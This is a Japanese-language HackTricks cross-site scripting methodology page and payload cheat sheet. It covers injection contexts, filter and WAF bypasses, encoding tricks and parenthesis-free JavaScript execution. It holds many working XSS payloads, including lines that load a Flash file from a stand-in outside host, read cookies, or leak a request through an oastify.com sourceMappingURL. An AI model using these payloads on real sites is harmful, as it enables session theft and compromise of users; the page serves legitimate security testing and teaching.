hacktricks/pentesting-web/xss-cross-site-scripting
2024-03-24 12:35:04 +00:00
..
abusing-service-workers.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-24 12:35:04 +00:00
chrome-cache-to-xss.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
debugging-client-side-js.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
dom-clobbering.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
dom-invader.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:50:32 +00:00
dom-xss.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
iframes-in-xss-and-csp.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
js-hoisting.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
other-js-tricks.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
pdf-injection.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:50:32 +00:00
server-side-xss-dynamic-pdf.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
shadow-dom.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
sniff-leak.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
some-same-origin-method-execution.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
steal-info-js.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
xss-in-markdown.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:33:52 +00:00
xss-tools.md Translated to Japanese 2023-07-07 23:42:27 +00:00

XSSクロスサイトスクリプティング

ハッキングキャリアに興味がある方や、解除不可能なものをハックしたい方へ - 採用中です!流暢なポーランド語の読み書きが必要です)。

{% embed url="https://www.stmcyber.com/careers" %}

方法論

  1. 制御可能な値パラメータパスヘッダー?、クッキーがHTMLに反映されるか、JSコードで使用されているかを確認します。
  2. 反映/使用されているコンテキスト見つけます
  3. 反映されている場合
  4. 使用できるシンボルを確認し、それに応じてペイロードを準備します:
  5. 生のHTML内:
  6. 新しいHTMLタグを作成できますか
  7. javascript:プロトコルをサポートするイベントや属性を使用できますか?
  8. 保護をバイパスできますか?
  9. HTMLコンテンツがクライアントサイドJSエンジンAngularJSVueJS、_Mavo_などによって解釈されている場合、クライアントサイドテンプレートインジェクションを悪用できます。
  10. HTMLタグを作成してJSコードを実行できない場合、ダングリングマークアップ - HTMLスクリプトレスインジェクションを悪用できますか?
  11. HTMLタグ内:
  12. 生のHTMLコンテキストに移動できますか
  13. 新しいイベント/属性を作成してJSコードを実行できますか
  14. トラップされた属性がJS実行をサポートしていますか
  15. 保護をバイパスできますか?
  16. JavaScriptコード内:
  17. <script>タグをエスケープできますか?
  18. 文字列をエスケープして異なるJSコードを実行できますか
  19. 入力がテンプレートリテラル(``)にありますか?
  20. 保護をバイパスできますか?
  21. 実行されているJavaScript 関数
  22. 実行する関数の名前を指定できます。例:?callback=alert(1)
  23. 使用されている場合
  24. DOM XSSを悪用できます。入力がどのように制御されているか、および制御された入力がどのようなシンクで使用されているかに注意してください。

複雑なXSSに取り組む際には、次のことを知っておくと興味深いかもしれません

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

反映された値

XSSを成功裏に悪用するためには、最初に見つける必要があるのは、Webページで反映されている制御可能な値です。

  • 中間的に反映されたパラメータの値やパスの値がWebページに反映されていることがわかった場合、反映型XSSを悪用できます。
  • 保存および反映:サーバーに保存された制御可能な値が、ページにアクセスするたびに反映されていることがわかった場合、保存型XSSを悪用できます。
  • JSを介してアクセス制御可能な値がJSを使用してアクセスされていることがわかった場合、DOM XSSを悪用できます。

コンテキスト

XSSを悪用しようとする際に最初に知る必要があるのは、入力がどこに反映されているかです。コンテキストによって、さまざまな方法で任意のJSコードを実行できます。

生のHTML

入力が生のHTMLページに反映されている場合、いくつかのHTMLタグを悪用してJSコードを実行する必要があります<img<iframe<svg<scriptなどがあります。...これらは使用可能な多くのHTMLタグの一部です。
また、クライアントサイドテンプレートインジェクションを考慮してください。

HTMLタグ属性内

入力がタグの属性の値内に反映されている場合、次のことを試すことができます:

  1. 属性およびタグから脱出してその後、生のHTMLになります新しいHTMLタグを悪用します"><img [...]
  2. 属性から脱出できるが、タグから脱出できない場合(>がエンコードされているか削除されている、タグに依存してJSコードを実行するイベントを作成できます:" autofocus onfocus=alert(1) x="
  3. 属性から脱出できない場合("がエンコードまたは削除されている)、どの属性で値が反映されているかによって、値全体を制御するか一部だけを制御するかに応じて悪用できます。たとえば、onclick=のようなイベントを制御できる場合、クリックされたときに任意のコードを実行できます。もう1つの興味深いは、href属性で、javascript:プロトコルを使用して任意のコードを実行できます:href="javascript:alert(1)"
  4. 入力が「悪用できないタグ」内に反映されている場合、accesskeyトリックを使用して脆弱性を悪用できます(これを悪用するには、ある種のソーシャルエンジニアが必要です):" accesskey="x" onclick="alert(1)" x="

Angularがクラス名を制御する場合の奇妙なXSSの例

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScriptコード内部

この場合、入力内容はHTMLページの**<script> [...] </script>タグ、.jsファイル内、またはjavascript:**プロトコルを使用した属性内に反映されます。

  • **<script> [...] </script>**タグの間に反映される場合、入力内容がどんな種類の引用符の中にあっても、</script>をインジェクトしてこのコンテキストから脱出を試みることができます。これは、ブラウザが最初にHTMLタグを解析し、その後コンテンツを解析するため、インジェクトされた</script>タグがHTMLコードの中にあることに気づかないためです。
  • もしJS文字列の中に反映され、前のトリックがうまくいかない場合は、文字列から抜け出し、コードを実行し、JSコードを再構築する必要があります(エラーがあれば実行されません):
    • '-alert(1)-'
    • ';-alert(1)//
    • \'-alert(1)//
  • テンプレートリテラル内に反映されている場合、${ ... }構文を使用してJS式を埋め込むことができます: var greetings = `Hello, ${alert(1)}`
  • Unicodeエンコードを使用して有効なJavaScriptコードを記述することができます:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascriptの巻き上げ

Javascriptの巻き上げは、未宣言の変数や関数を使用しているXSSのシナリオを悪用できるように、使用された後に関数、変数、またはクラスを宣言する機会を指します。
詳細については、次のページをチェックしてください:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript関数

いくつかのWebページは、実行する関数の名前をパラメータとして受け入れるようになっています。一般的な例としては、?callback=callbackFuncのようなものがあります。

ユーザーから直接受け取ったものが実行されようとしているかどうかを確認する良い方法は、パラメータの値を変更すること(たとえば、'Vulnerable'に変更する)であり、コンソールで次のようなエラーを探すことです:

脆弱性がある場合、値を送信するだけでアラートをトリガーできる可能性があります: ?callback=alert(1)。ただし、このようなエンドポイントは通常、文字、数字、ドット、アンダースコア([\w\._])のみを許可するようにコンテンツを検証します。

ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の任意の要素にアクセスできるためです:

これに役立つ関数のいくつか:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to trigger Javascript functions directly: obj.sales.delOrders.

しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないため、同じオリジン内の他のページには、より興味深いDOMがあり、さらなるアクションを実行できます。

したがって、異なるDOMでこの脆弱性を悪用するために、Same Origin Method Execution (SOME) 攻撃が開発されました:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

攻撃者によって制御されるデータ安全でない方法で使用しているJSコードがあります。攻撃者は、これを悪用して任意のJSコードを実行できます。

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

この種のXSSはどこにでも見つかる可能性があります。これらは、Webアプリケーションのクライアントの悪用だけでなく、どんな コンテキストでも依存しません。この種の任意のJavaScript実行は、RCEの取得、クライアントやサーバーでの任意のファイルの読み取りなどに悪用される可能性があります。
いくつかの:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAFバイパスエンコーディング画像

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

生のHTML内に挿入

入力がHTMLページ内に反映される場合や、このコンテキストでHTMLコードをエスケープして挿入できる場合、最初にすべきことは、<を使って新しいタグを作成できるかどうかを確認することです。単にその文字反映して、それがHTMLエンコードされているか、削除されているか、または変更されずに反映されているかを確認してください。最後の場合のみ、このケースを悪用できます
この場合、ブラック/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

しかし、タグ/属性のブラックリスト/ホワイトリストが使用されている場合、作成できるタグをブルートフォースする必要があります。
許可されているタグがどれかを特定したら、見つかった有効なタグ内の属性/イベントをブルートフォースして、どのようにコンテキストを攻撃できるかを確認する必要があります。

タグ/イベントのブルートフォース

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet にアクセスし、Copy tags to clipboard をクリックします。次に、Burp Intruder を使用してすべてのタグを送信し、WAF によって悪意のあるものとして発見されなかったかどうかを確認します。使用できるタグがわかったら、有効なタグを使用してすべてのイベントをブルートフォースすることができます(同じウェブページで Copy events to clipboard をクリックし、以前と同じ手順に従います)。

カスタムタグ

有効な HTML タグが見つからない場合は、カスタムタグを作成して、onfocus 属性でJSコードを実行してみることができます。XSS リクエストでは、ページがそのオブジェクトにフォーカスし、コードを実行するようにするために、URL の末尾に # を付ける必要があります。

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

ブラックリスト回避

もしブラックリストが使用されている場合、いくつかの愚かなトリックを使ってそれをバイパスしようとすることができます:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

長さバイパス小さなXSS

{% hint style="info" %} さまざまな環境向けのさらに小さなXSS ペイロードはこちらで およびこちらで見つけることができます。 {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

最後の方法は、5つに展開される2つのUnicode文字を使用することです: telsr
これらの文字の詳細はこちらで見つけることができます。
分解された文字を確認するには、こちらをチェックしてください。

クリックXSS - クリックジャッキング

脆弱性を悪用するためにユーザーにリンクまたはフォームをクリックしてもらう必要がある場合、クリックジャッキングを悪用してみることができます(ページが脆弱な場合)。

不可能 - ダングリングマークアップ

単にHTMLタグを作成してJSコードを実行する属性を作成することが不可能だと思う場合は、ダングリングマークアップをチェックしてみてください。なぜなら、JSコードを実行せずに脆弱性を悪用できるかもしれないからです。

HTMLタグ内への挿入

タグ内/属性値からのエスケープ

HTMLタグ内にいる場合、最初に試すべきことは、タグからエスケープして、前のセクションで言及されているいくつかのテクニックを使用してJSコードを実行することです。
タグからエスケープできない場合、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。たとえば、次のようなペイロードを使用してこの例では、ダブルクォートを属性からエスケープするために使用していますが、入力がタグ内に直接反映されている場合は必要ありません:

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

スタイルイベント

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

属性内部

属性から脱出できない場合でも("がエンコードされたり削除されたりしている)、どの属性に値が反映されるかによって、値を完全に制御するか一部だけかによって悪用できる可能性があります。例えばonclick=のようなイベントを制御できる場合、クリックされたときに任意のコードを実行できます。
もう1つの興味深いは、href属性で、javascript:プロトコルを使用して任意のコードを実行できます:href="javascript:alert(1)"

HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス

HTMLタグ属性の値内部のHTMLエンコードされた文字ランタイムでデコードされます。したがって、次のようなものが有効になります(ペイロードは太字で示されています):<a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

どんな種類のHTMLエンコードでも有効であることに注意してください。

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URLエンコードも機能します:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicodeエンコードを使用してイベント内のバイパスを行う

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内の特別なプロトコル

ここでは、一部の場所で任意のJSコードを実行するために、プロトコル**javascript:またはdata:**を使用できます。一部の場所ではユーザーの操作が必要ですが、一部では必要ありません。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

これらのプロトコルを注入できる場所

一般的にjavascript:プロトコルは、href属性を受け入れるタグではどこでも使用できsrc属性を受け入れるタグのほとんどで使用できます(ただし<imgは除く)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

その他の難読化トリック

この場合、前のセクションでのHTMLエンコーディングとUnicodeエンコーディングトリックも有効です。なぜなら、あなたは属性の中にいるからです。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

さらに、これらのケースにはもう1つ便利なトリックがあります: javascript:...内の入力がURLエンコードされていても、実行される前にURLデコードされます。ですので、文字列からシングルクォートエスケープする必要がある場合、URLエンコードされていることに気づいても、問題ありません。実行時にはシングルクォートとして解釈されます。

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

注意してください、URLエンコード + HTMLエンコードどちらの順番で使ってもペイロードをエンコードすることはできませんが、ペイロード内でそれらを混在させることはできます。

javascript:一緒に HexOctalエンコードを使用する

iframesrc属性内でHexOctalエンコードを使用して、JSを実行するためのHTMLタグを宣言することができます:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

逆タブナビング

<a target="_blank" rel="opener"

もし任意の**<a href=タグにtarget="_blank" and rel="opener"**属性が含まれているURLをインジェクトできる場合は、次のページをチェックしてこの動作を悪用してください:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

on Event Handlers Bypass

まず、有用な**"on"イベントハンドラ**に関しては、このページ(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)をチェックしてください。
もし、ブラックリストが存在していてこのイベントハンドラを作成することを妨げている場合は、以下のバイパスを試してみることができます。

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

こちら から、隠し入力を悪用することが可能になりました。

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

そしてメタタグに関して:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

From here: hidden属性内でXSSペイロードを実行することができます。ただし、被害者キーの組み合わせを押させる必要があります。Firefox Windows/Linuxでは、キーの組み合わせはALT+SHIFT+Xで、OS XではCTRL+ALT+Xです。アクセスキー属性で異なるキーの組み合わせを指定することもできます。以下がベクトルです:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSSペイロードは次のようになります" accesskey="x" onclick="alert(1)" x="

ブラックリストバイパス

異なるエンコーディングを使用したいくつかのトリックがすでにこのセクションで公開されています。以下で使用できる場所を学びに戻る:

  • HTMLエンコーディングHTMLタグ
  • Unicodeエンコーディング有効なJSコードになることができます \u0061lert(1)
  • URLエンコーディング
  • 16進数および8進数エンコーディング
  • データエンコーディング

HTMLタグと属性のバイパス

前のセクションのブラックリストバイパスを読んでください。

JavaScriptコードのバイパス

次のセクションのJavaScriptバイパスブラックリストテクニックを読んでください。

CSS-Gadgets

ウェブの非常に小さな部分でXSSを見つけた場合フッターに小さなリンクがあり、onmouseover要素があるかもしれません、その要素が占めるスペースを最大化するために変更を試みることができます。

例えば、次のような要素にスタイリングを追加できます:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

しかし、WAFがスタイル属性をフィルタリングしている場合、CSS Styling Gadgetsを使用できます。たとえば、次のようなものを見つけた場合

.test {display:block; color: blue; width: 100%}

および

#someid {top: 0; font-family: Tahoma;}

今、リンクを変更してフォームに持ってくることができます

<a href="" id=someid class=test onclick=alert() a="">

このトリックはhttps://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703から取得されました。

JavaScriptコード内へのインジェクション

この場合、入力は、.jsファイルのJSコード内、または<script>...</script>タグ内、またはJSコードを実行できるHTMLイベント内、またはjavascript:プロトコルを受け入れる属性内に反映されます。

<script>タグのエスケープ

コードが<script> [...] var input = 'reflected data' [...] </script>内に挿入されている場合、簡単に**<script>の終了をエスケープ**できます:

</script><img src=1 onerror=alert(document.domain)>

この例では、シングルクォートを閉じていないことに注意してください。これは、HTMLパーサーが最初にブラウザによって実行されるためであり、これにはスクリプトのブロックを含むページ要素の識別が含まれます。埋め込まれたスクリプトを理解して実行するためのJavaScriptの解析はその後に行われます。

JavaScriptコード内部

<>がサニタイズされている場合、入力が配置されている場所で文字列をエスケープして任意のJSを実行することができます。JSの構文を修正することが重要です。なぜなら、エラーがあるとJSコードが実行されないからです。

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

テンプレートリテラル ``

文字列 を構築するために、JSはシングルクォートやダブルクォートに加えて、バックティック `` も受け入れます。これは、${ ... } 構文を使用して 埋め込みJS式 を許可するため、テンプレートリテラルとして知られています。
したがって、入力がバックティックを使用してJS文字列内に反映されていることがわかった場合、${ ... } 構文を悪用して 任意のJSコード を実行できます:

これは、次のように悪用 されます:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

エンコードされたコードの実行

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

UnicodeエンコードJS実行

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScriptブラックリスト回避テクニック

文字列

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特別なエスケープ

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

JSコード内のスペースの置換

<TAB>
/**/

JavaScriptのコメントJavaScript Comments トリックから)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScriptの改行 JavaScriptの改行 トリックから)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScriptの空白文字

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

コメント内のJavascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

括弧なしのJavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意の関数alertの呼び出し

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
